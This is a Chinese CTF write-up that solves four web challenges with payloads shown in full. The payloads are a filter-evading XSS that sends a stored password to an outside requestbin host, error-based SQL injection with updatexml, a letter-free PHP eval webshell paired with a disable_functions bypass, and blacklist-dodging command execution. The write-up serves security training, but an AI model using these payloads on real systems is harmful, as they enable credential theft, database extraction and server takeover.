[GWCTF 2019]mypassword

flag应该藏在密码里

注册登录,查看源码

feedback下有黑名单,应该是xss

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!-- 
if(is_array($feedback)){
echo "<script>alert('反馈不合法');</script>";
return false;
}
$blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie'];
foreach ($blacklist as $val) {
while(true){
if(stripos($feedback,$val) !== false){
$feedback = str_ireplace($val,"",$feedback);
}else{
break;
}
}
}
-->

还发现有login.js

1
2
3
4
5
6
7
8
9
10
11
12
13
if (document.cookie && document.cookie != '') {
var cookies = document.cookie.split('; ');
var cookie = {};
for (var i = 0; i < cookies.length; i++) {
var arr = cookies[i].split('=');
var key = arr[0];
cookie[key] = arr[1];
}
if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){
document.getElementsByName("username")[0].value = cookie['user'];
document.getElementsByName("password")[0].value = cookie['psw'];
}
}

这段js检测当前页面是否有cookie存在,存在则读取cookie值,并将user和psw的值填充到页面的用户名和密码上

构造一个登录框并引入login.js,利用requestbin在外部查看请求读flag,由于黑名单过滤方式是将关键字替换为空字符,恰当利用即可绕过过滤

1
2
3
4
5
6
7
<incookieput type="text" name="username">
<incookieput type="password" name="password">
<scrcookieipt scookierc="./js/login.js"></scrcookieipt>
<scrcookieipt>
var psw = docucookiement.getcookieElementsByName("password")[0].value;
docucookiement.locacookietion="http://requestbin.cn:80/145mkwj1/?a="+psw;
</scrcookieipt>

将这段在反馈页面中提交,之后在requestbin读密码

[极客大挑战 2019]HardSQL

注入点在密码,fuzz后发现过滤了很多东西,采用报错注入

过滤空格,采用括号绕过

过滤=,则采用like绕过

1
1'or(updatexml(1,concat(0x7e,database(),0x7e),0))#

查询数据库名,发现是geek

1
1'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek')),0x7e),0))#

查询表名H4rDsq1

1
1'or(updatexml(1,concat(0x7e,(select(column_name)from(information_schema.columns)where(table_schema)like('H4rDsq1')),0x7e),0))#

爆列名的时候,发现失败了,应该是报错长度超过了32字符

image-20240724194143994

采用limit分页,并使用group_concat将分组的数据合并输出,爆列名

1
1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),0))#

得到结果id,username,password

查password

1
1'or(updatexml(1,concat(0x7e,(select(group_concat(password))from(H4rDsq1)),0x7e),0))#

从表中查询所有password,并用group_concat把它们拼接

得到结果

~flag{be300708-803c-48fa-9e21-9b

1
1'or(updatexml(1,concat(0x7e,(select(right(password,25))from(H4rDsq1)),0x7e),1))#

用right读出右半段

c-48fa-9e21-9b682be03c2f}

拼接得到flag

flag{be300708-803c-48fa-9e21-9b682be03c2f}

报错注入可以由extractvalue或updatexml进行,两者均为当第二个参数xpath_expr路径语法错误时,报错就含有错误的内容,这时如果再路径这一参数构造sql语句就可以完成一些查询

[极客大挑战 2019]RCE ME

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}

// ?>

无字母数字rce,取反绕过

1
2
3
4
5
6
<?php 
echo urlencode(~'assert');
echo "<br>";
echo urlencode(~'(eval($_POST[a]))');
?>

%9E%8C%8C%9A%8D%8B
%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6

拼接

1
?code=(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6);

image-20240725094350140

终端无法读取flag,绕过disable _function

参考:https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

上传so和php文件

1
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27a%27])

命令长度限制

1
2
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=include(%27/var/tmp/bypass_disablefunc.php%27)&cmd=/readflag&outpath=/tmp/tmpfile&sopath=/var/tmp/bypass_disablefunc_x64.so

读取flag

[网鼎杯 2020 朱雀组]phpweb

打开后是一张图片,查看源码

image-20240725100627069

有post表单,考虑命令执行,根据变量名,func应该是函数,p是内容

image-20240725100920918

存在过滤,尝试读取源代码

func=file_get_contents&p=index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>

得到源码,可以看出,blacklist只有函数,没有特殊字符,我们可以利用特殊字符绕过,而对p参数没有特殊限制

1
func=\system&p=cat $(find / -name flag*)